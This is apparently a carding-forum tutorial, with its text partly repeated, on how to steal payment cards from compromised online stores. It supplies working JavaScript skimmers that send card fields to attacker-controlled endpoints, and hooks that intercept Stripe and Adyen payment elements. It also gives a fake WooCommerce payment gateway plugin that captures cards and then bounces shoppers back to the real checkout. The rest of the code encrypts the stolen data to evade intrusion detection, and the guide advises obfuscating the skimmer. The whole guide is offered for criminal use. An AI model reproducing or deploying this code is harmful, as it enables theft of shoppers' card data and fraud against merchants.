The truth is, carding can be expensive. The decision to card often comes down to whether the cost of purchasing cards, proxies, and the necessary anti-detection software is worth it, especially if the success rate at a particular shop is low. That’s why I’m starting this series of essays/posts. They’re meant to help you become more self-sufficient and reduce your reliance on these expenses – or maybe even eliminate them entirely. This will be the first of many installments. And what better way to start the series than by addressing the core issue: learning how to get your own cards.
Getting your own cards is key, as they’re usually the single biggest expense in most carding operations. But for some, it’s not worth the hassle, especially if you’re already having relative success with cards you get from elsewhere. But I’d argue that knowledge is the most important tool in a carder’s toolbox, having the knowledge and practical experience of getting cards can give you an edge over everyone else, and it allows you to have a backup plan if your favorite cc shop suddenly closes. Having a good understanding of how to get your cards also gives you the diligence to evaluate the quality of different stores. Especially if you have had issues with the cards you have received recently.
There are many ways to get your own cards, from hacking to scam stores and phishing campaigns to sniffing, there is no shortage of ways to get your own cards. In the first part of the series, we will focus on online card sniffers, what they are, how they are implemented and how you could roll your own.
How?
There are two main ways to steal credit card information from online stores: phishing sniffers and JS sniffers. To keep this article focused on the topic, we will assume that you already have access to the hacked server/store. And you have at least write access or the ability to inject code into their cash register. Hacking is a separate topic that I will also write about soon, perhaps in the Security category of the forum.
Phishing sniffers are pretty simple. We just replace the real checkout page with our fake one. We can, as I’ll show you later, use our own checkout plugin that replaces the look and feel of the real thing so that most people don’t notice. When they enter their card details, they go straight to us instead of the store, and then we redirect them back to the checkout with a legitimate form of payment. Easy money.
JS sniffers are a little different. We don’t replace anything, we just add our own little script to the checkout page. It watches what people enter and collects all the data for us – card numbers, names, whatever. It then sends it all back to us without disrupting the real checkout process.
Both work pretty well, but JS is better because it’s harder to detect and doesn’t cause any disruption to the checkout process. JS is also harder to implement on modern websites because of CSP/CORS, which I’ll also explain later. In general, both approaches depend heavily on the store's configuration and security level: If it's an old, insecure Idaho store with spaghetti code, and you have dig-bick root access to the entire checkout process, you deploy JS. If it's a relatively secure Wordpress + Woocommerce store with CSP, and you only have admin access to install plugins and configure payment platforms, we use the phishing/plugin approach.
Setting up our sniffer operation, this applies to both the JS sniffer and the plugin sniffer:
Setting up the server:
Ideally, we want our own server running NGINX and the latest version of PHP. But if you can write other backend codes, why not?
Control and flexibility. We can set up our own database, create our own dashboards to manage the cards, and leave no trace on third-party services.
Database:
Store the cards in a database like MySQL or PostgreSQL.
Benefit: We can easily search, sort, and manage our cards. Plus, we can create our own frontend to view and edit data (CRUD operations).
Custom Frontend:
With our own server and database, we can create a neat web app to manage everything.
This allows us to do things like automatically check if a card is valid, sort by bank, or anything else we need. I'll write about this in the future as well.
Alternatives (for demo purposes or if you can't run your own web server):
Webhook.site: Quick and dirty. Good for testing, but not safe for real operations.
Make.com: You can set up a webhook to dump data into Google Sheets.
These are easier to set up, but riskier. They leave more traces and give us less control.
Using your own server is always better if we can. We have full control, we can customize everything, and we are harder to track if we set everything up correctly.
For learning and demo purposes, webhook.site or Make.com are fine. But for any serious operation, always use your own server setup. It requires more work initially, but is much safer and more powerful in the long run.
Since we are not focusing on server management in this article, we will use them first instead.
I will write soon about hosting your own dedicated server for all your operations, and the pros and cons of different approaches to this.
Preparation:
Go to Webhook.site and get your unique URL, as this will help us test our sniffers before we iterate and improve it for real stores we have access to:
Getting Started:
JS Sniffers
If JS sniffers are possible, they are the most reliable option; unlike the plugin approach, JS sniffers are very silent.
Setting up the demo:
To show you how it works, we created a simple checkout page.
You can play with it here: https://codesandbox.io/s/keen-gates-7s4dz7
It's just a basic form, which you can also implement on your own server:
Now let's add our sniffer. For the demonstration, we will use webhook.site to collect the card. Here is a basic js sniffer:
To test this:
Get the webhook URL from webhook.site
Replace "your-unique-url-here" in the code
Paste the script into the browser console on the demo page
Fill out and submit the form
Check your webhook and you'll see the card you sent magically appear.
Base64 decoding gives us:
{"cardNumber":"4242424242424242","expiry":"1230","cvv":"123"}
Now let's see how this works when you actually hack a site. Here's what you'd typically do:
Create a more complex sniffer script. We'll call it 'analytics-helper.js':
Upload this to the hacked server, perhaps as '/assets/js/analytics-helper.js'.
Inject this into the checkout page. Find the main template (eg 'checkout.php') and add:
Set up your server to receive and process the intercepted cards.
Now, every time someone places an order, you get their card details, damn easy.
The key to a good JS sniffer is confusion. Here are a few tricks:
Use legitimate-sounding names, like “analytics-helper.js”.
Add your script to multiple pages, not just the checkout page.
If possible, modify an existing script instead of adding a new one.
Use navigator.sendBeacon() for exfiltration – it’s stealthier than AJAX.
Remember, in the real world, you’d be more obfuscating with this code. You can split it up, hide it in legitimate-looking functions, or hardcode parts of it. The goal is to make it look boring and generic if someone accidentally spots it.
Whether you're testing our demo or deploying in production, the principle is the same: grab data silently, send it quickly, and don't disrupt the normal flow of the site. If you do it right, no one will even know you're on the server, sniffing around like a hungry dog for a long, long time.
Dealing with CORS and CSP:
Now, you might think this is too easy. And you're right - modern websites often have security in place that makes our jobs harder.
Let's talk about the two big ones: CORS and CSP.
CORS (Cross-Origin Resource Sharing) is like a bouncer that checks whether a script from one site is allowed to talk to another. It can prevent us from sending data to our server if it is configured incorrectly.
CSP (Content Security Policy) is even more complex. It tells the browser exactly which scripts are allowed to run and where they can send data. A strict CSP can disable our sniffer before it even starts.
Bypassing CORS and CSP: But we have a few tricks up our sleeve:
For CORS, we can use methods like JSONP or setting up a proxy on an allowed domain.
With CSP, we can try to find a whitelisted domain that we can use. For example, if a site allows scripts from a CDN, we can try to inject our code there.
Sometimes we can use DNS hijacking to make our evil server look like it is allowed.
In some cases, we can use the form-action directive if it is not blocked:
Working with secure payment methods:
Now the real problem: secure payment methods like Stripe or Adyen.
They are difficult to hack because:
They often use iframes, which our main page script can't access due to the same origin policy.
They have strict CSP rules.
The actual payment data often never makes it to the main site's server.
But we do have options:
If the site uses Stripe Elements, we can hook into the Stripe.js library before it creates the protected fields:
For Adyen, we can try to intercept data before it is sent to the protected component:
If all else fails, we can try modifying the page to replace the secure form with our own. This is riskier and more noticeable, but sometimes it’s our only option. Which brings us to the plugin/phish method:
sometimes, no matter how clever we are, sniffing JS just won’t work because of the site’s security features. Instead of sniffing in the background, we’re going to place our own payment form right in front of the user. It’ll look legit, and it’ll send all those juicy cards right to us.
For this demonstration, let’s assume we have admin access to the WooCommerce store. Here’s how we’ll set it up:
I have a plugin ready to go. I wrote it a few months ago, but it works just as well today as it ever did. You can find it here:
Pasting the Code
Upload and activate this plugin in your WordPress admin panel.
In the plugin settings, you’ll see a field for “Payment Processing URL”. This is where you’ll put your webhook.site URL.
How it works:
Once activated, this plugin adds a new payment method to the WooCommerce checkout. When a customer selects our method, they see a form that looks like a regular checkout form. But when they click submit, all that data comes straight to us.
Code:
Here's a simplified version of what happens in our plugin:
Now, in a real-world scenario, we don’t want to just grab the data and leave the customer hanging. We want to seamlessly transition them back into the legitimate payment flow without raising suspicion.
Here’s how we might do that:
Our server receives the card details.
We store that data for future use.
Instead of processing the payment, we send a special “switch” signal back to WooCommerce.
Our plugin intercepts that signal and redirects the customer back to the checkout page, but this time with legitimate payment methods enabled.
Here’s what that might look like in our plugin code, which I didn’t implement in the code above that I provided you with because I was only using it for scam/phishing stores:
And on our server (this can also work in Make and Webhook.site, but for the latter I think you'll need a premium subscription):
This approach has a few advantages:
We don’t have to deal with the actual payment processing, which simplifies our job.
The customer ends up using the store’s real checkout process, so everything looks 100% legitimate after we intercept it.
If something goes wrong with the real payment, it’s not our fault — as far as anyone can tell, our plugin wasn’t even involved.
The tricky part is making the transition smooth. We need to make it look like there was a small glitch in the checkout process, but nothing suspicious. A message like “We couldn’t process your payment, please try again” has always worked for me.
Remember, timing is of the essence. The entire process of accepting the card details, sending them to our server, and redirecting them back to the checkout should take about the same amount of time as a normal failed payment. The key to this approach is to look legitimate. The more your fake payment method looks and acts like the real thing, the less likely it is that someone will catch on. It’s all in the details, from the form design to the thank you page. Get it right, and you’ll be getting new cards smoother than a real payment processor.
Encryption: Covering Your Tracks
When we’re swiping card data, we need to keep that crap under wraps. That’s where encryption comes in. We’re not just hiding the data from nosy administrators or users — we’re also trying to evade automated security systems.
Why we need encryption:
Avoid detection:
Most security systems and logs scan for patterns that look like credit card numbers or other sensitive data. If we’re sending that data in plain text, we might as well be waving a big red flag saying, “HEY, WE’RE STEALING CARD DATA HERE!”
Avoid intrusion detection systems (IDS):
Many merchants use IDSs that specifically look for unencrypted card data leaving their network. Encryption helps us slip past them with ease.
Cover our asses:
If our traffic is intercepted or logs are checked, encrypted data will just look like random junk. It is much harder to prove that the store has been compromised.
Protection from surveillance:
Sometimes other hackers can also monitor the traffic. Worse, security researchers believe that their calling is to catch cybercriminals. Encryption hides our data from them.
Example scenario:
Let's say we are listening to cards from EasyShop.com. We send the data back like this:
Any halfway decent security system would have caught this immediately. The store's IT department would have been swarming over it like flies over shit, and we'd have been shut down before we even got our hands on those non-vbv cards. But if we encrypt this:
This looks like any other web request. It could be analytics data, session information, whatever. It doesn’t raise any immediate alarm, and even if someone were to suspect something, they wouldn’t be able to prove what it was without our decryption key.
Remember, encryption isn’t just about hiding data, it’s what makes our entire operation invisible. It’s the difference between getting cards consistently for months or being out of commission for a day.
How we encrypt the data dump:
We encrypt the data before it leaves the victim’s browser or server.
We use something strong like AES-256. Yes, it’s overkill, but it’s better to be safe than sorry.
We use a unique key for each store we visit. That way, if one gets hacked, the others will remain safe.
For JS sniffers, we can do something like:
For our plugin approach, we would do the same in PHP (depending mostly on the platform API):
On our server, we decrypt these things before we store them. That way, even if someone intercepts the data in transit, all they see is gibberish.
Obfuscating our shit
(an example of how experienced sniffers obfuscate their code)
So we've encrypted the data we're stealing, but what about the code we're stealing? We need to hide that too. Here's how we do it:
For JS files:
Minification: First, we compress all of our code down to a single line. This makes it harder to read.
Obfuscation: Then, we run it through a JS obfuscator. This turns our nice-to-read code into a mess of weird variable names and encodings.
Here's a simple example:
For PHP plugins:
Fake functionality: We add a few functions to our plugin that look like the real thing, to make it seem innocent.
Hidden triggers: We bury our malicious code deep inside, only activating it under certain conditions.
The goal is to make our code look like gibberish or just boring regular code to anyone poking around. If some low-paid developer or security professional starts poking around, they’ll be pretty damn confused as to what’s actually going on. The more layers of obfuscation we add, the harder it will be for anyone to spot us. But don’t overdo it – if it looks too suspicious, that might attract attention too. We’re going for “boring and complex”, not “obviously hiding something”.
So there you have it: if you’ve followed everything so far, you now have your first “baby” sniffer. Why did I write all this crap and just give you code that you can just plug in and use? Because it won't help you, if something is taken in a shortcut without any understanding at all, it will do you more harm than good in becoming a great carder or hacker. The goal of this series is to arm you with knowledge, not spoon feed you, and I want you to work on improving yourself with it.
Getting your own cards is key, as they’re usually the single biggest expense in most carding operations. But for some, it’s not worth the hassle, especially if you’re already having relative success with cards you get from elsewhere. But I’d argue that knowledge is the most important tool in a carder’s toolbox, having the knowledge and practical experience of getting cards can give you an edge over everyone else, and it allows you to have a backup plan if your favorite cc shop suddenly closes. Having a good understanding of how to get your cards also gives you the diligence to evaluate the quality of different stores. Especially if you have had issues with the cards you have received recently.
There are many ways to get your own cards, from hacking to scam stores and phishing campaigns to sniffing, there is no shortage of ways to get your own cards. In the first part of the series, we will focus on online card sniffers, what they are, how they are implemented and how you could roll your own.
How?
There are two main ways to steal credit card information from online stores: phishing sniffers and JS sniffers. To keep this article focused on the topic, we will assume that you already have access to the hacked server/store. And you have at least write access or the ability to inject code into their cash register. Hacking is a separate topic that I will also write about soon, perhaps in the Security category of the forum.
Phishing sniffers are pretty simple. We just replace the real checkout page with our fake one. We can, as I’ll show you later, use our own checkout plugin that replaces the look and feel of the real thing so that most people don’t notice. When they enter their card details, they go straight to us instead of the store, and then we redirect them back to the checkout with a legitimate form of payment. Easy money.
JS sniffers are a little different. We don’t replace anything, we just add our own little script to the checkout page. It watches what people enter and collects all the data for us – card numbers, names, whatever. It then sends it all back to us without disrupting the real checkout process.
Both work pretty well, but JS is better because it’s harder to detect and doesn’t cause any disruption to the checkout process. JS is also harder to implement on modern websites because of CSP/CORS, which I’ll also explain later. In general, both approaches depend heavily on the store's configuration and security level: If it's an old, insecure Idaho store with spaghetti code, and you have dig-bick root access to the entire checkout process, you deploy JS. If it's a relatively secure Wordpress + Woocommerce store with CSP, and you only have admin access to install plugins and configure payment platforms, we use the phishing/plugin approach.
Setting up our sniffer operation, this applies to both the JS sniffer and the plugin sniffer:
Setting up the server:
Ideally, we want our own server running NGINX and the latest version of PHP. But if you can write other backend codes, why not?
Control and flexibility. We can set up our own database, create our own dashboards to manage the cards, and leave no trace on third-party services.
Database:
Store the cards in a database like MySQL or PostgreSQL.
Benefit: We can easily search, sort, and manage our cards. Plus, we can create our own frontend to view and edit data (CRUD operations).
Custom Frontend:
With our own server and database, we can create a neat web app to manage everything.
This allows us to do things like automatically check if a card is valid, sort by bank, or anything else we need. I'll write about this in the future as well.
Alternatives (for demo purposes or if you can't run your own web server):
Webhook.site: Quick and dirty. Good for testing, but not safe for real operations.
Make.com: You can set up a webhook to dump data into Google Sheets.
These are easier to set up, but riskier. They leave more traces and give us less control.
Using your own server is always better if we can. We have full control, we can customize everything, and we are harder to track if we set everything up correctly.
For learning and demo purposes, webhook.site or Make.com are fine. But for any serious operation, always use your own server setup. It requires more work initially, but is much safer and more powerful in the long run.
Since we are not focusing on server management in this article, we will use them first instead.
I will write soon about hosting your own dedicated server for all your operations, and the pros and cons of different approaches to this.
Preparation:
Go to Webhook.site and get your unique URL, as this will help us test our sniffers before we iterate and improve it for real stores we have access to:
Getting Started:
JS Sniffers
If JS sniffers are possible, they are the most reliable option; unlike the plugin approach, JS sniffers are very silent.
Setting up the demo:
To show you how it works, we created a simple checkout page.
You can play with it here: https://codesandbox.io/s/keen-gates-7s4dz7
It's just a basic form, which you can also implement on your own server:
HTML:
<form id="checkout-form">
<input type="text" name="cardNumber" placeholder="Card Number">
<input type="text" name="expiry" placeholder="MM/YY">
<input type="text" name="cvv" placeholder="CVV">
<button type="submit">Pay Now</button>
</form>Now let's add our sniffer. For the demonstration, we will use webhook.site to collect the card. Here is a basic js sniffer:
JavaScript:
(function() {
var sniffedData = {};
var form = document.getElementById('checkout-form');
form.addEventListener('input', function(e) {
sniffedData[e.target.name] = e.target.value;
});
form.addEventListener('submit', function(e) {
e.preventDefault();
var encodedData = btoa(JSON.stringify(sniffedData));
var exfilUrl = '<https://webhook.site/your-unique-url-here>';
fetch(exfilUrl + '?data=' + encodedData, {
method: 'GET',
}).then(function() {
console.log('Card data sent to our server');
form.submit(); // Let the form submit as normal
});
});
})();To test this:
Get the webhook URL from webhook.site
Replace "your-unique-url-here" in the code
Paste the script into the browser console on the demo page
Fill out and submit the form
Check your webhook and you'll see the card you sent magically appear.
Base64 decoding gives us:
{"cardNumber":"4242424242424242","expiry":"1230","cvv":"123"}
Now let's see how this works when you actually hack a site. Here's what you'd typically do:
Create a more complex sniffer script. We'll call it 'analytics-helper.js':
JavaScript:
(function() {
function sniff() {
var sniffedData = {};
var form = document.querySelector('form');
if (!form) return; // Выход, если на странице нет формы
form.addEventListener('input', function(e) {
if (['cardNumber', 'cvv', 'expiry'].includes(e.target.name)) {
sniffedData[e.target.name] = e.target.value;
}
});
form.addEventListener('submit', function(e) {
var encodedData = btoa(JSON.stringify(sniffedData));
var exfilUrl = 'https://ourserver/collect.php';
navigator.sendBeacon(exfilUrl, encodedData);
});
}
// Let's launch our sniffer
sniff();
})();Upload this to the hacked server, perhaps as '/assets/js/analytics-helper.js'.
Inject this into the checkout page. Find the main template (eg 'checkout.php') and add:
HTML:
<script src="/assets/js/analytics-helper.js"></script>Set up your server to receive and process the intercepted cards.
Now, every time someone places an order, you get their card details, damn easy.
The key to a good JS sniffer is confusion. Here are a few tricks:
Use legitimate-sounding names, like “analytics-helper.js”.
Add your script to multiple pages, not just the checkout page.
If possible, modify an existing script instead of adding a new one.
Use navigator.sendBeacon() for exfiltration – it’s stealthier than AJAX.
Remember, in the real world, you’d be more obfuscating with this code. You can split it up, hide it in legitimate-looking functions, or hardcode parts of it. The goal is to make it look boring and generic if someone accidentally spots it.
Whether you're testing our demo or deploying in production, the principle is the same: grab data silently, send it quickly, and don't disrupt the normal flow of the site. If you do it right, no one will even know you're on the server, sniffing around like a hungry dog for a long, long time.
Dealing with CORS and CSP:
Now, you might think this is too easy. And you're right - modern websites often have security in place that makes our jobs harder.
Let's talk about the two big ones: CORS and CSP.
CORS (Cross-Origin Resource Sharing) is like a bouncer that checks whether a script from one site is allowed to talk to another. It can prevent us from sending data to our server if it is configured incorrectly.
CSP (Content Security Policy) is even more complex. It tells the browser exactly which scripts are allowed to run and where they can send data. A strict CSP can disable our sniffer before it even starts.
Bypassing CORS and CSP: But we have a few tricks up our sleeve:
For CORS, we can use methods like JSONP or setting up a proxy on an allowed domain.
With CSP, we can try to find a whitelisted domain that we can use. For example, if a site allows scripts from a CDN, we can try to inject our code there.
Sometimes we can use DNS hijacking to make our evil server look like it is allowed.
In some cases, we can use the form-action directive if it is not blocked:
JavaScript:
Array.from(document.forms).forEach(form => {
form.action = 'https://ourserver.com/collect.php';
});Working with secure payment methods:
Now the real problem: secure payment methods like Stripe or Adyen.
They are difficult to hack because:
They often use iframes, which our main page script can't access due to the same origin policy.
They have strict CSP rules.
The actual payment data often never makes it to the main site's server.
But we do have options:
If the site uses Stripe Elements, we can hook into the Stripe.js library before it creates the protected fields:
JavaScript:
let originalStripe = Stripe;
Stripe = function(key) {
let stripe = originalStripe(key);
let originalCreateElement = stripe.elements().create;
stripe.elements().create = function(type, options) {
let element = originalCreateElement(type, options);
element.on('change', (event) => {
if(event.complete) {
sendToOurServer(event.token);
}
});
return element;
}
return stripe;
}For Adyen, we can try to intercept data before it is sent to the protected component:
JavaScript:
let originalAdyen = adyen;
adyen.onCreate = function(state, component) {
state.onChange = function(state) {
sendToOurServer(state.data);
}
return originalAdyen.onCreate(state, component);
}If all else fails, we can try modifying the page to replace the secure form with our own. This is riskier and more noticeable, but sometimes it’s our only option. Which brings us to the plugin/phish method:
sometimes, no matter how clever we are, sniffing JS just won’t work because of the site’s security features. Instead of sniffing in the background, we’re going to place our own payment form right in front of the user. It’ll look legit, and it’ll send all those juicy cards right to us.
For this demonstration, let’s assume we have admin access to the WooCommerce store. Here’s how we’ll set it up:
I have a plugin ready to go. I wrote it a few months ago, but it works just as well today as it ever did. You can find it here:
Pasting the Code
Upload and activate this plugin in your WordPress admin panel.
In the plugin settings, you’ll see a field for “Payment Processing URL”. This is where you’ll put your webhook.site URL.
How it works:
Once activated, this plugin adds a new payment method to the WooCommerce checkout. When a customer selects our method, they see a form that looks like a regular checkout form. But when they click submit, all that data comes straight to us.
Code:
Here's a simplified version of what happens in our plugin:
PHP:
add_action('woocommerce_payment_gateways', 'add_custom_gateway_class');
function add_custom_gateway_class($gateways) { $gateways[] = 'WC_Custom_Payment_Gateway'; return $gateways; }
class WC_Custom_Payment_Gateway extends WC_Payment_Gateway { public function process_payment($order_id) { $order = wc_get_order($order_id); $card_number = $_POST['custom_card_number']; $card_expiry = $_POST['custom_card_expiry']; $card_cvc = $_POST['custom_card_cvc'];
$response = wp_remote_post($this->get_option('webhook_url'), array(
'body' => array(
'card_number' => $card_number,
'card_expiry' => $card_expiry,
'card_cvc' => $card_cvc,
'order_id' => $order_id
)
));
if (!is_wp_error($response) && $response['response']['code'] == 200) {
$order->payment_complete();
return array(
'result' => 'success',
'redirect' => $this->get_return_url($order)
);
} else {
wc_add_notice('Payment error:', 'error');
return;
}
}
}Now, in a real-world scenario, we don’t want to just grab the data and leave the customer hanging. We want to seamlessly transition them back into the legitimate payment flow without raising suspicion.
Here’s how we might do that:
Our server receives the card details.
We store that data for future use.
Instead of processing the payment, we send a special “switch” signal back to WooCommerce.
Our plugin intercepts that signal and redirects the customer back to the checkout page, but this time with legitimate payment methods enabled.
Here’s what that might look like in our plugin code, which I didn’t implement in the code above that I provided you with because I was only using it for scam/phishing stores:
PHP:
class WC_Custom_Payment_Gateway extends WC_Payment_Gateway {
public function process_payment($order_id) {
$order = wc_get_order($order_id);
$card_data = array(
'number' => $_POST['custom_card_number'],
'expiry' => $_POST['custom_card_expiry'],
'cvc' => $_POST['custom_card_cvc']
);
// We send data to our server
$response = wp_remote_post($this->get_option('webhook_url'), array(
'body' => array(
'card_data' => $card_data,
'order_id' => $order_id
)
));
if (!is_wp_error($response) && $response['response']['code'] == 200) {
$body = json_decode($response['body'], true);
if ($body['status'] == 'switch') {
WC()->session->set('switch_payment_method', true);
return array(
'result' => 'success',
'redirect' => wc_get_checkout_url()
);
}
}
wc_add_notice('Payment error. Please try again.', 'error');
return array('result' => 'failure');
}
}
// Add this to prevent your payment method from being displayed a second time
add_filter('woocommerce_available_payment_gateways', 'filter_gateways', 10, 1);
function filter_gateways($available_gateways) {
if (WC()->session && WC()->session->get('switch_payment_method')) {
unset($available_gateways['custom_payment']); // Removing our fake gateway
WC()->session->set('switch_payment_method', false);
}
return $available_gateways;
}And on our server (this can also work in Make and Webhook.site, but for the latter I think you'll need a premium subscription):
PHP:
<?php
$card_data = $_POST['card_data'];
store_card_data($card_data);
http_response_code(200);
echo json_encode(['status' => 'switch']);This approach has a few advantages:
We don’t have to deal with the actual payment processing, which simplifies our job.
The customer ends up using the store’s real checkout process, so everything looks 100% legitimate after we intercept it.
If something goes wrong with the real payment, it’s not our fault — as far as anyone can tell, our plugin wasn’t even involved.
The tricky part is making the transition smooth. We need to make it look like there was a small glitch in the checkout process, but nothing suspicious. A message like “We couldn’t process your payment, please try again” has always worked for me.
Remember, timing is of the essence. The entire process of accepting the card details, sending them to our server, and redirecting them back to the checkout should take about the same amount of time as a normal failed payment. The key to this approach is to look legitimate. The more your fake payment method looks and acts like the real thing, the less likely it is that someone will catch on. It’s all in the details, from the form design to the thank you page. Get it right, and you’ll be getting new cards smoother than a real payment processor.
Encryption: Covering Your Tracks
When we’re swiping card data, we need to keep that crap under wraps. That’s where encryption comes in. We’re not just hiding the data from nosy administrators or users — we’re also trying to evade automated security systems.
Why we need encryption:
Avoid detection:
Most security systems and logs scan for patterns that look like credit card numbers or other sensitive data. If we’re sending that data in plain text, we might as well be waving a big red flag saying, “HEY, WE’RE STEALING CARD DATA HERE!”
Avoid intrusion detection systems (IDS):
Many merchants use IDSs that specifically look for unencrypted card data leaving their network. Encryption helps us slip past them with ease.
Cover our asses:
If our traffic is intercepted or logs are checked, encrypted data will just look like random junk. It is much harder to prove that the store has been compromised.
Protection from surveillance:
Sometimes other hackers can also monitor the traffic. Worse, security researchers believe that their calling is to catch cybercriminals. Encryption hides our data from them.
Example scenario:
Let's say we are listening to cards from EasyShop.com. We send the data back like this:
HTTP:
GET /collect?card=4111111111111111&cvv=123&exp=12/25 HTTP/1.1
Host: our-server-hosted-in-antartica.comAny halfway decent security system would have caught this immediately. The store's IT department would have been swarming over it like flies over shit, and we'd have been shut down before we even got our hands on those non-vbv cards. But if we encrypt this:
HTTP:
GET /collect?data=U2FsdGVkX1+8kTSIF5/v3na41DVPGYnwV4HEqQnVhJzTs2vHUXGUtD2Q9QxF3xXx HTTP/1.1
Host: our-server-hosted-in-antartica.comThis looks like any other web request. It could be analytics data, session information, whatever. It doesn’t raise any immediate alarm, and even if someone were to suspect something, they wouldn’t be able to prove what it was without our decryption key.
Remember, encryption isn’t just about hiding data, it’s what makes our entire operation invisible. It’s the difference between getting cards consistently for months or being out of commission for a day.
How we encrypt the data dump:
We encrypt the data before it leaves the victim’s browser or server.
We use something strong like AES-256. Yes, it’s overkill, but it’s better to be safe than sorry.
We use a unique key for each store we visit. That way, if one gets hacked, the others will remain safe.
For JS sniffers, we can do something like:
JavaScript:
const encrypt = (text, key) => {
return CryptoJS.AES.encrypt(text, key).toString();
};
// When sending data:
let data = JSON.stringify({card: '4111111111111111', cvv: '123'});
let encrypted = encrypt(data, 'UniqueKeyForThisShop123');
fetch('https://our-server.com/collect?data=' + encodeURIComponent(encrypted));For our plugin approach, we would do the same in PHP (depending mostly on the platform API):
PHP:
function encrypt($data, $key) {
$cipher = "aes-256-cbc";
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$encrypted = openssl_encrypt($data, $cipher, $key, 0, $iv);
return base64_encode($iv . $encrypted);
}
// When sending data:
$data = json_encode(['card' => '4111111111111111', 'cvv' => '123']);
$encrypted = encrypt($data, 'UniqueKeyForThisShop123');
file_get_contents("https://our-server.com/collect?data=" . urlencode($encrypted));On our server, we decrypt these things before we store them. That way, even if someone intercepts the data in transit, all they see is gibberish.
Obfuscating our shit
(an example of how experienced sniffers obfuscate their code)
So we've encrypted the data we're stealing, but what about the code we're stealing? We need to hide that too. Here's how we do it:
For JS files:
Minification: First, we compress all of our code down to a single line. This makes it harder to read.
Obfuscation: Then, we run it through a JS obfuscator. This turns our nice-to-read code into a mess of weird variable names and encodings.
Here's a simple example:
JavaScript:
// Original
function sniffedCardData() {
// Here we analyze the logic
}
// Confusing
var _0x5a2b=['function\x20stealCardData(){\x20\x20\x20\x20//\x20Stealing\x20logic\x20here\x20}'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};_0x4d74cb(++_0x4b81bb);}(_0x5a2b,0x89));var _0x4d74=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a2b[_0x2d8f05];return _0x4d74cb;};eval(_0x4d74('0x0'));For PHP plugins:
Fake functionality: We add a few functions to our plugin that look like the real thing, to make it seem innocent.
Hidden triggers: We bury our malicious code deep inside, only activating it under certain conditions.
The goal is to make our code look like gibberish or just boring regular code to anyone poking around. If some low-paid developer or security professional starts poking around, they’ll be pretty damn confused as to what’s actually going on. The more layers of obfuscation we add, the harder it will be for anyone to spot us. But don’t overdo it – if it looks too suspicious, that might attract attention too. We’re going for “boring and complex”, not “obviously hiding something”.
So there you have it: if you’ve followed everything so far, you now have your first “baby” sniffer. Why did I write all this crap and just give you code that you can just plug in and use? Because it won't help you, if something is taken in a shortcut without any understanding at all, it will do you more harm than good in becoming a great carder or hacker. The goal of this series is to arm you with knowledge, not spoon feed you, and I want you to work on improving yourself with it.